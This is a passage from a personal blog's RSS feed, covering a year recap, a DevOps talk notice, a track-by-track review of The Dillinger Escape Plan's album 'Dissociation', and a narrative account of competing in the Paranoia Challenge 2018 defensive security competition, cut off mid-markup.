&lt;p&gt;I&apos;ve &lt;a href=&quot;/blog/2018/07/09/paranoid-programming&quot;&gt;blogged&lt;/a&gt; about this earlier, but I basically surprised myself in getting third place in a pretty realistic cyber security challenge affiliated with one of the Nordic regions largest and most exciting Info Sec Conferences.&lt;/p&gt;
&lt;h2&gt;3. Held a bunch of public talks,&lt;br /&gt;&lt;small&gt;including at the Oslo Hacktoberfest that I hosted&lt;/small&gt;&lt;/h2&gt;
&lt;p&gt;There are &lt;a href=&quot;/irl&quot;&gt;too many talks&lt;/a&gt; to detail, but basically: holding a &lt;a href=&quot;http://eivindarvesen.test/blog/2017/10/23/presentation-about-transfer-learning&quot;&gt;talk&lt;/a&gt; at an internal conference evening at Bouvet inspired me to push myself to get better at and do more public speaking – and to use this as an excuse to understand something better or to learn something new entirely.&lt;/p&gt;
&lt;p&gt;It&apos;s been a great and exciting year.&lt;/p&gt;
&lt;p&gt;Here&apos;s to the next one!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Company Blog]]></title><description><![CDATA[In preparation for the presentation I'll be holding at Bouvet's public breakfast-meeting about DevOps this Friday, I've published a post at…]]></description><link>https://eivindarvesen.com/blog/2018/02/25/company-blog</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/02/25/company-blog</guid><content:encoded>&lt;p&gt;In preparation for the presentation I&apos;ll be holding at Bouvet&apos;s public &lt;a href=&quot;https://www.bouvet.no/kurs/kategorier/frokostseminarer/hva-er-devops&quot;&gt;breakfast-meeting about DevOps&lt;/a&gt; this Friday, I&apos;ve published a post at our &lt;a href=&quot;https://www.bouvet.no/bouvet-deler/malbasert-utvikling&quot;&gt;company blog&lt;/a&gt; (Norwegian) about our team&apos;s &lt;a href=&quot;/blog/2017/12/05/hypothesis--and-goal-driven-development&quot;&gt;Hypothesis- and Goal-Driven Development&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The guestlist for the event is currently full, but you can sign up for the waiting list &lt;a href=&quot;https://www.bouvet.no/kurs/pamelding?id=7868fd33-830c-497b-b927-f31709c25644&quot;&gt;here&lt;/a&gt;.
The talks during the event will be held in Norwegian.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Dissociation]]></title><description><![CDATA[All good things must come to an end. When The Dillinger Escape Plan announced that their upcoming album would be their last - as they felt…]]></description><link>https://eivindarvesen.com/blog/2016/11/17/dissociation</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2016/11/17/dissociation</guid><content:encoded>&lt;p&gt;All good things must come to an end. When The Dillinger Escape Plan announced that their upcoming album would be their &lt;a href=&quot;http://www.blabbermouth.net/news/the-dillinger-escape-plan-frontman-were-breaking-up-were-not-going-on-an-extended-hiatus/&quot;&gt;last&lt;/a&gt; - as they felt they had reached their artistic peak - I was pretty disappointed. But damn, what a swansong it is; I&apos;ve been listening to the record more or less non-stop since it dropped about two weeks ago.&lt;/p&gt;
&lt;p&gt;From the release of album opener &quot;Limerent Death&quot;, it was clear that the &lt;a href=&quot;http://www.revolvermag.com/news/interview-greg-puciato-of-dillinger-escape-plan-talks-new-album-and-side-projects-2.html&quot;&gt;publicized&lt;/a&gt; betterment of the band members&apos; relationships with one another had in no way compromised their musical approach.&lt;/p&gt;
&lt;p&gt;On &quot;Dissociation&quot;, The Dillinger Escape Plan have allowed themselves to indulge a bit in their experimentation, but there is really nothing too extravagant. The tritone chords, minor second intervals, chromatic runs, and constantly changing time signatures are all there - and the electronic and atmospheric elements, as well as the unexpected turns in genre are back.&lt;/p&gt;
&lt;p&gt;This record is certainly one of the band&apos;s creative high points - a true mathcore tour de force.&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/6p4tQUBtsBw&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;The first track immediately kicks off with a powerful groove accented by jabbed, stabbing dissonant chords (one of Dillinger&apos;s calling cards), before launching into breakneck speed. The vocals in particular are drenched in punk influence, and&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;I gave you everything you wanted, you were everything to me&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;repeated twelve times with increasing intensity over an &lt;em&gt;accelerando&lt;/em&gt; might be my new favourite section by the band.&lt;/p&gt;
&lt;p&gt;&quot;Symptom of Terminal Illness&quot;, the second track, goes somewhere else entirely.
According to singer Greg Puciatio in a TeamRock &lt;a href=&quot;http://teamrock.com/feature/2016-10-14/dillinger-escape-plan-dissociation-track-by-track-guide-interview-ben-weinman-greg-puciato&quot;&gt;track-by-track guide&lt;/a&gt;, the lyrics reference &quot;panic attacks and panic disorder&quot;, which certainly fits the mood of the music.
The song is melodic, downbeat, and moody, and though it is more straightforward than the previous track, choruses are beautifully spiced up by drummer Billy Rymer&apos;s odd accents.&lt;/p&gt;
&lt;p&gt;After a weird opening, the next track head straight back into crazy-territory, but somehow ends up in a pumping punk kind of build up, which in turn leads to alternating spoken words over semi-clean arpeggios, and emotive vocal melodies over dirty strumming.
&quot;Wanting Not So Much To As To&quot; is a great song.&lt;/p&gt;
&lt;p&gt;&quot;Fugue&quot; is an experimental instrumental that starts off with electronic beats, and then goes into a sad and eerie guitar outro.
The band&apos;s IDM influence is pretty obvious on this song.&lt;/p&gt;
&lt;p&gt;Then comes &quot;Low Feels Blvd&quot;, a piece that goes from screaming over complex rhythms to an odd, improvised guitar solo over a more traditional sounding jazz-section, which culminates in a return to the chaotic outset.&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/yztG35U5Hrw&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;&quot;Surrogate&quot; is extreme mathcore, and sounds kind of like a repeating progression through genres, before transitioning to a kind of salsa beat that leads to the outro.&lt;/p&gt;
&lt;p&gt;Next is &quot;Honeysuckle&quot;.
It&apos;s an angry, groovy song with great dynamics.
I hear some Faith No More (ca. &quot;Angel Dust&quot;) in this one, especially during the synth line in the middle of the song.
This influence is hardly surprising to fans - the band did collaborate with Mike Patton on the &quot;Irony Is a Dead Scene&quot; EP, after all.
When the intro riff is played over a more steady beat near the end of the song I&apos;m reminded of the opener on their last album (2013&apos;s &quot;One of Us Is the Killer&quot;), &quot;Prancer&quot;.&lt;/p&gt;
&lt;p&gt;&quot;Manufacturing Discontent&quot; - there are some interesting grooves on this quite progressive song. I&apos;m getting Faith No More vibes in the middle of this song as well, specifically from the descending vocal melody in combination with the tom-play.&lt;/p&gt;
&lt;p&gt;Starting off as a more traditional-sounding hardcore song with a really driving beat, &quot;Apologies Not Included&quot; soon delves into technical drum parts and an extended break, before launching into a fast, aggressive part ending with a breakdown.&lt;/p&gt;
&lt;p&gt;Then there&apos;s &quot;Nothing To Forget&quot;, which starts out with some pop-punky/gothy/circusy guitar parts, that build, chugging towards the &lt;strong&gt;really&lt;/strong&gt; cool chorus.
About halfways in, the song goes into a hauntingly beautiful string part with velvety vocals, the climax of which leads into an intense reprise of the chorus.&lt;/p&gt;
&lt;p&gt;The album closer is a strange, smooth ballad with the same name as the album.
&quot;Dissociation&quot; starts opens with strings leading into electronic beats which, combined with the processed vocals, remind me more of Greg Puciato&apos;s side project The Black Queen. This fades into strings again, before bringing in drums proper. A gradual layering of vocal harmonies, before carefully fading out everything but a soft, soothing vocal chorus closes this great album with the words&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Finding a way to die alone&quot;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 126.66666666666666%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://embed.spotify.com/?uri=spotify%3Aalbum%3A52hA4AUoiCwTuXXuClt0SR&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;In my opinion, &quot;Dissociation&quot; surpasses even the band&apos;s previous, more focused record &quot;One of Us is the Killer&quot; - which is no small feat - and it is easily one of the top albums I&apos;ve heard so far this year.
It showcases the band&apos;s versatility and clearly demonstrates the proficiency of its members.
&quot;Dissociation&quot; is emotional and ambitious - and I think it provides a great sense of closure. There is no doubt in my mind that Dillinger is going out on top.&lt;/p&gt;
&lt;p&gt;While The Dillinger Escape Plan&apos;s music might not be particularly conventional or accessible - it might even be downright challenging to casual listeners - my opinion is that they&apos;re one of the most interesting bands out there as of right now.&lt;/p&gt;
&lt;p&gt;Indeed, &lt;a href=&quot;http://www.metalsucks.net/2016/08/11/dillinger-escape-plan-among-greatest-time/&quot;&gt;an editorial in MetalSucks&lt;/a&gt; claims the band is among &quot;the greatest bands of all time&quot; - and I tend to agree.&lt;/p&gt;
&lt;p&gt;If you&apos;re interested in the story behind the band and this album in particular, check out Ben Weinman&apos;s recent appearance on the SWIM podcast (embedded below, also &lt;a href=&quot;https://itunes.apple.com/us/podcast/someone-who-isnt-me/id1084700219?mt=2#&quot;&gt;available on iTunes&lt;/a&gt;), where he talks about this in addition to his other projects.&lt;/p&gt;
&lt;iframe src=&quot;//embed.acast.com/someonewhoisntme/episode15-benjaminweinman-dillingerescapeplan-giraffetongueorchestra-partysmasherinc.-&quot; frameborder=&quot;0&quot; data-reactid=&quot;.2c8po6t4g74.1.0.0&quot; style=&quot;height: 80px;&quot;&gt;&lt;/iframe&gt;
&lt;p&gt;The Dillinger Escape Plan is &lt;a href=&quot;http://www.dillingerescapeplan.org/&quot;&gt;currently&lt;/a&gt; touring (for the last time) - and the band goes balls out on the road as well; just take a look at this video of guitarist Ben Weinman hanging from the ceiling whilst playing...&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 100%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.facebook.com/plugins/video.php?href=https%3A%2F%2Fwww.facebook.com%2Fdillingerescapeplan%2Fvideos%2Fvb.6900581348%2F10154707610681349%2F%3Ftype%3D3&amp;amp;show_text=0&amp;amp;width=400&quot; style=&quot;border:none;overflow:hidden; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;... or this one, where singer Greg Puciato jumps off the second floor balcony at Webster Hall in New York:&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.facebook.com/plugins/video.php?href=https%3A%2F%2Fwww.facebook.com%2Fclrvynt%2Fvideos%2Fvb.711056912329981%2F794922197276785%2F%3Ftype%3D3&amp;amp;show_text=0&amp;amp;width=560&quot; style=&quot;border:none;overflow:hidden; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;Yeah.&lt;/p&gt;
&lt;p&gt;You can buy &quot;Dissociation&quot; directly from the band at their &lt;a href=&quot;http://dillingerescapeplan.bandcamp.com/album/dissociation&quot;&gt;Bandcamp page&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Paranoid Programming]]></title><description><![CDATA[Some time in April, Bouvet CIO Anders Volle made an announcement on our Slack security channel: Watchcom had invited us to take part in the…]]></description><link>https://eivindarvesen.com/blog/2018/07/09/paranoid-programming</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/07/09/paranoid-programming</guid><content:encoded>&lt;p&gt;Some time in April, Bouvet CIO Anders Volle made an announcement on our Slack security channel: Watchcom had invited us to take part in the Paranoia Challenge 2018 hacking- and security-competition, on Circadence&apos;s gaming-based platform for cybersecurity. The contestants would tackle so-called red-team- and blue-team-based scenarios (attack and defence, respectively). The plan was to have an informal competition in May, where one would have the opportunity to experiment on one&apos;s own for a few days and get to know the platform. A couple of weeks later, there would be a qualifying round, and finals after that. The winners would be announced at a ceremony during the Paranoia Conference – one of the Nordic region&apos;s largest security conferences, which is held in Oslo Spektrum every summer.&lt;/p&gt;
&lt;p&gt;As someone who has read a lot about the field, and who finds it interesting, I thought that this sounded really exciting. I didn&apos;t have much practical experience to speak of, other than having experimented with tools like Wireshark, Metasploit, Nmap and hashcrackers in my spare time through the years – but since I&apos;ve long wanted to learn more, I saw this as a golden opportunity to do just that.&lt;/p&gt;
&lt;p&gt;A short while after signing up there was a short webinar, where we were told about the platform, the schedule, how we would be evaluated during the competition – in short, what exactly this was all about. We were then granted access to the training- and competition-solution, and the so-called &quot;free range&quot; play- and learn period begun.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; _ Since this was written, I&apos;ve posted a Norwegian version on &lt;a href=&quot;https://www.bouvet.no/bouvet-deler/paranoid-programmering&quot;&gt;Bouvet&apos;s blog&lt;/a&gt;. _&lt;/p&gt;
&lt;h2&gt;Project Ares&lt;/h2&gt;
&lt;p&gt;The platform we used is called &quot;Project Ares&quot;, and is a kind of e-learning platform for security and hacking via gamification. It offered training and teaching via practical exercises and simulation.&lt;/p&gt;
&lt;p&gt;We logged in via an HTML5-client built with Unity by opening a website in our browsers.&lt;/p&gt;
&lt;p&gt;The first thing we saw was a menu that looked like a typical menu from a strategy- or military-centered videogame; In addition to other stereotypical hacker graphics there was a spinning wireframe globe featuring prominently in the interface, with highlighted points indicating available missions. This was a recurring theme amongst the means used in the solution – to capture the contestants&apos; interests via narratives.&lt;/p&gt;
&lt;p&gt;In a given mission one was first introduced to a background story, which explained the context one was dropped into, and what would be the goal. A username and password for a &quot;working machine&quot; (in reality a virtual machine) was also made available.&lt;/p&gt;
&lt;p&gt;Then a map of (parts of) the network was made available, which could also contain units like proxies, switches, routers, firewalls, VPNs, subnets – and which could potentially detail IP-addresses and operating systems on all, some or none of the units, depending on the assignment at hand.&lt;/p&gt;
&lt;p&gt;We were then given access to to things: a shell (a new window with a virtual terminal) – typically Bash on a Linux-machine – and a VNC/RDP (a new window with a graphical remote interace on a desktop) on a given &quot;working machine&quot;; the latter could be either a Windows installation or a Linux distro. Any eventual extra tools needed to complete the mission would come preinstalled.&lt;/p&gt;
&lt;p&gt;Our work was timed, and we gathered points as we made progress solving subtasks. If we became stuck, we could &quot;burn&quot; points to get subtask-specific hints.&lt;/p&gt;
&lt;p&gt;Additionally, there was a chatbot – which could present contextual information, such as definitions, on the platform. If one were to ask, for instance, what &quot;OWASP&quot; was, the bot would answer that it was an acronym for &quot;The Open Web Application Security Project&quot;, and present a short paragraph of information.&lt;/p&gt;
&lt;p&gt;Technically, all units that were a part of the mission were actual virtual machines, running on a server somewhere; it seemed as though the solution was wrapped around or based upon some VMWare technology. If you have ever played hacking-centered video games,such as &quot;Hacknet&quot;, &quot;Uplink&quot; or &quot;Hacker: Unleashed&quot; – or seen seres or movies such as &quot;NCIS&quot; and &quot;Swordfish&quot;, you probably know that some of the realism often dissapears in abstractions and simplifications. During the competition, we were working on actual virtual machines – meaning that things strictly speaking were as realistic as they could be: Everything that happened were real code and real applications running. The only limitation was that the working environment was somewhat controlled; We could, for instance, not break out of the virtual network (without being disqualified).&lt;/p&gt;
&lt;p&gt;On higher difficulties, the system could engage an AI-opponent (allegedly based on IBMs Watson-technology), which would make things more challenging. It could for instance randomize affected port numbers and addresses, and in come cases play the role as the attacker that has penetrated the network, lurking in systems. This means that it could reinfect machines if one hadn&apos;t done a proper job cleaning up and hardening defenses.&lt;/p&gt;
&lt;p&gt;Project Ares also contaned a library with various theory, media coverage, technical documentation and video tutorials for relavant software. There were also a few minigames, the goals of which was to teach us relevant trivia in a less serious form.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b409c0b5dfff7d18791926cbd5b9173e/1d69c/IMG_4096.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 114.55696202531647%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAXCAIAAACEf/j0AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFVklEQVR42iWOh1OTdxjHf2GvginUCoq1SJEhQ7CQQBXCCllvgKw3byaZkPImIcOwRzhAERBxoEiLoyLTg7CE7EEEFFDP9vrn9G1797nPPXfP833uC5LjI87GhLQ1c58+GZmc6kdNirzivNz8jBriFTFMEcA0EZ8hgOkCHl34HwIuHeHSEA4V5tBACj4mHR9BvZY6iYpOn99/0KURSzh1lIoSYoEQgRAeXYIwJXxIAkNSmIFZ9C8M7Be2AmnJ+Mzz+JrMpLttvJlBdAJhbFj0jts9Ey3wmF5mUnCbBEyFsF4uwGBiyLBfPBqqFve2o+BaWnJldiq96JKGXQJDBBNcNWtRbPQZbZ1i97h+XCuSixtamljNUlaLFHMjNisE0C1988SAHvSxyCMIWV2b28wqFjKK+NSCCsJP1JtZMg5Jp2xUiqBWBU8j47bKOaiCg8rZ/1ur4rcbmsFDFX8KlVg4v8jZpTI2UcEtIxRdgamFEjZJoxDo1AKtCsFOMXRqRKeG9RgqnkEjHu1QguEWRFFd1AIViep/FtALmZU5eVmpYmaxQkBBNeL2NkWHXtmuk1t0MouuydQqMWulZq3EgDb1aNigoSyH+EO8GiZNjHYYUImYT4coN3j0UqWIoVEKICqpAarmNtbxWRSZsF6j4LfKuFopu02JqPl0kJWckHMuFlXxgieHgZMP+ycHvgPfO+eObWd9fXP1zt1hg1mnUIh4HIhcR2qWQNZmjrGh9haPxi/OAeeS8GRCmgGVBg58vvfewGHg4Pjw+MvJydfT46+fvvz99dOfp8efjz5+PgoceD3uraB/O+Bac9peLD2xAh79hrS+pMOsxpLugNsX9AYO/PtH+8Gj/fcfg8FDf2DfEQzaA0GH37+Lhd2Odde7Jefmy+3Xo2C6Cx7W1Q/2aD0Bl91j9/hdvn2P773PjxH0eH17Luf625W5na0F195K0Lt+6N8I2Be9W883nw+AbnmNSXxzcrTT5XPuuXadXgeW9wbcHr/DYV9z7i7PTt+trGEyGxG5QmU0oIN95sfjPW+eDb2ZMgBayeXa68lT96wu796uY8vpeefy2t0+u91hW196uvf2kVLcEB797aX03IyrhGsE8o0qNpmO1NF4KoQK5FIVg1T0aGrQ7d3ds9uc7m2nZwfztu2P5bmh1Wed1/MzAC46JDQMAIDD4SIio84kpVxML9BKISBTmak01svZUa9nc3dvze7acnh27M6NtcXHyzPdkz2ihIT48JjE2DNnE5IuRETH4nAhABeWiD/TraaAUjJcRUUGLPqF6d6NV0M7C6O7y5NbC+PLM122GZMGLgehMVFxSRGR0RHR34SGRYSGRQIQUpCdNvQrGaQXkMpq4ZvVrHomrFPLx/v1j4Z0L8bQ+33yITNSej0TKxsSHoHDekfGREbHhUfGARDGLM+e7YTApfzytMKa7GJKDoFRROLWMGUcpFnQhELEQi0lv09YroeKxZX5RVdSv8PHxURHJSYmfROPF5ALWynpoLSs/MLFVPzZ8zkFRAZLSKKwr5bU/phfnpd2UVdf8srIXTay7/GIv+tgpZB5+VxUyvf4vJxMYn46vyoX6DStUg41KyP1ckpsr4o+N9EzfdtibW8d7EBRJWKUMtq5FX2sm2NSyPbb4KgJLrl6oYmWvzLCeKytAG2W4aGhSWufVS4Wm+WNz0Ys9sWZL4750735z66VfdvciwHlUifX+8TyYe3BX+6X+/PWB9rqGZSwai4DTZpudZu1rX3E1D5sMPXqjD26to4uS9ed/v4Ja++GtcnV2+joZm93sBaNTMfqzIdD1/rrh2NGnnt++B/rsEEx0wyEDAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Me reading a mission description&quot;
        title=&quot;Me reading a mission description&quot;
        src=&quot;/static/b409c0b5dfff7d18791926cbd5b9173e/f058b/IMG_4096.png&quot;
        srcset=&quot;/static/b409c0b5dfff7d18791926cbd5b9173e/c26ae/IMG_4096.png 158w,
/static/b409c0b5dfff7d18791926cbd5b9173e/6bdcf/IMG_4096.png 315w,
/static/b409c0b5dfff7d18791926cbd5b9173e/f058b/IMG_4096.png 630w,
/static/b409c0b5dfff7d18791926cbd5b9173e/1d69c/IMG_4096.png 750w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Exploration&lt;/h2&gt;
&lt;p&gt;During free ranging, there were just under 100 registered players toying around, learning and practicing missions to varying degrees.&lt;/p&gt;
&lt;p&gt;I mainly read and experimented with some lower-level missions, as I felt I needed to buid a solid knowledge base. After a couple of weeks all the contestants lost access to the platform for a little while, before the qualifying rounds began. I kept practicing so-called Capture The Flag (CTF) competitions other places online.&lt;/p&gt;
&lt;h2&gt;Qualifying round&lt;/h2&gt;
&lt;p&gt;Then, one afternoon, all the contestants got an email: We were to solve a specific mission within a window of 3 days. The contestants were free to attempt to qualify at any time, a total of maximum four times, and the best try would count.&lt;/p&gt;
&lt;p&gt;Less than half of the contestants attempted to qualify – some allegedly thought the mission was too hard, and used their time on other missions and minigames in stead.&lt;/p&gt;
&lt;p&gt;Only 12 players were able to get through all of the 16 tasks in 4 attempts.&lt;/p&gt;
&lt;p&gt;The final score was made up of a combination of time spent and the points achieved.&lt;/p&gt;
&lt;p&gt;On the last night of the three day window, I sat down to accomplish the mission. After my first attempt, I spent two tries making notes and memorizing what actions and commands it took to solve the subtasks, and slowly step through everything to really understand what happened. After this, I performed a final attaempt as a sort of well prepared &quot;speedrun&quot;, working as quickly as I could.&lt;/p&gt;
&lt;p&gt;The mission was, among other things, based around handling a scenario, where an internal network was penetrated; A machine on the network was infected with malware. We would therefore log onto an adminserver that was used to configure the firewall, and use a tool called Burpsuite to analyze the network traffic and get a sort of signature (hash) of the payload (which had been transmitted as a GET-request) and set up network rules, so that the IP-address that the malware originated from was blocked, and to prevent the malware from spreading. Then we had to localize the malware and neutralize it via Windows&apos; builtin Powershell functions.&lt;/p&gt;
&lt;p&gt;When I was done with the final subtask on my final attempt, I discovered that I was not registered as finished. The time kept running. I became nervous – what if I had messed up completely, despite all my preparations?&lt;/p&gt;
&lt;p&gt;I then notices that subtask 2 was not checked of as done. I then decided to &quot;burn&quot; a few point to get some hints on that subtask, so that I could find out what I had forgotten or not performed correctly, and finish in as short amount of time as possible. I was afraid that my mess-up and burning of points together lead to dramatically more time spent and fewer points, and therefore to such a worsening of my score that I would not qualify.&lt;/p&gt;
&lt;p&gt;I spent a total of 16.01 minutes on my final and best attempt, but the last 2 to 4 minutes were spent finding this final error.&lt;/p&gt;
&lt;p&gt;When was finally done, I though that it was a shame that the mission had so much focus on Windows. This is, after all, a platform I nearly haven&apos;t used in about ten years. I didn&apos;t count on making it to the finals, but I thought it had been a fun experience testing the platform: I had learnt a lot, and it had been exciting to have been a part of.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/5fb5cc5c539fd9a450d863fe945d484a/68947/Paranoia-2018-Quals.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 55.69620253164557%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABm0lEQVR42p1S21bCMBDcSN9AgV7SlpZyKYLVox5E1KM+oP//T+tMEkV89GG6ye5kszOpRJnVbF7oYGJVkgLIA7CO89NcHJDkpzwim6ikiGbaaq/d6FnbqczXKourI9pr5DZYA8vO7wnWuCealcoM52bglI2K5PhMFiB1PrJA1CuXO6uXyAPtjcrqVmV6qVKFfXOpZoV49+zBKWUQqwwSlSHGP099JAaZyoXVaIhcH5wYZIvLkwo81EaQ10/UXG3VbF9V9gc1I+QlRiEFOZ/6aKcePJjVGlnkyOH0nK6Yg4calSWlmuudmsd3lZcPNfRQxjS69A3GIfIAc5iqlyIO8WD5DDaEhmjkOJjSrO/VUO72zT+OXKROmpP0HQnKxoEoDlZkjfeVsimXF4PvJO8w4fOnmjHOyyhMCHk/0a0LN0mUIUcVJSQ3eM1iduSNMWGHhg+Y7ukQJnQeVsHD6uhh6j3s0cNk4j2rW+9lVvnG4JgNJe8h+VWNa5jjphLFojlFOf+FP/XvPSOb01NeSr/d327R1Fb/RO3BC2KrX3NQC0K9bjpOAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;My four attempts during the qualifying rounds.&quot;
        title=&quot;My four attempts during the qualifying rounds.&quot;
        src=&quot;/static/5fb5cc5c539fd9a450d863fe945d484a/f058b/Paranoia-2018-Quals.png&quot;
        srcset=&quot;/static/5fb5cc5c539fd9a450d863fe945d484a/c26ae/Paranoia-2018-Quals.png 158w,
/static/5fb5cc5c539fd9a450d863fe945d484a/6bdcf/Paranoia-2018-Quals.png 315w,
/static/5fb5cc5c539fd9a450d863fe945d484a/f058b/Paranoia-2018-Quals.png 630w,
/static/5fb5cc5c539fd9a450d863fe945d484a/40601/Paranoia-2018-Quals.png 945w,
/static/5fb5cc5c539fd9a450d863fe945d484a/78612/Paranoia-2018-Quals.png 1260w,
/static/5fb5cc5c539fd9a450d863fe945d484a/68947/Paranoia-2018-Quals.png 1281w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The next day, I noticed a mention the private Slack-channel for those of us from Bouvet that were registered in the challenge. Someone asked whether it was me that were in 4th place, and asked me to check my email.&lt;/p&gt;
&lt;p&gt;&quot;Wow&quot;, I thought.&lt;/p&gt;
&lt;p&gt;I was then given a free gold pass to the 2018 Paranoia Conference the following week (which seemed to have a lot of exciting talks), where the winners would be announced.&lt;/p&gt;
&lt;p&gt;Then I waited for the final mission.&lt;/p&gt;
&lt;h2&gt;Finals&lt;/h2&gt;
&lt;p&gt;We knew that the finals would be held on friday the same week, but not when or how long we would have. I had originally thought I would takesome time off to get home early and be prepared, in case there would be little time, so that I wouldn&apos;t have to sit on-site at a customer&apos;s offices and stress my way through it.&lt;/p&gt;
&lt;p&gt;Friday at half past two, the contestants got an email: From three o&apos;clock we would have one attempt and two hours to solve the following assignment:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Answer 50 multiple choice questions&lt;/li&gt;
&lt;li&gt;Complete a mission with 6 subtasks based on protection of banking systems and networks.
The players would need the following competency to be successful:
&lt;ul&gt;
&lt;li&gt;Intrusion detection/prevention systems&lt;/li&gt;
&lt;li&gt;Basic malware analysis&lt;/li&gt;
&lt;li&gt;Development of rulesets based on snort&lt;/li&gt;
&lt;li&gt;Isolating and removing malware&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b3c00ce0a681997b50c66978f9f92e64/acb04/IMG_4196.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
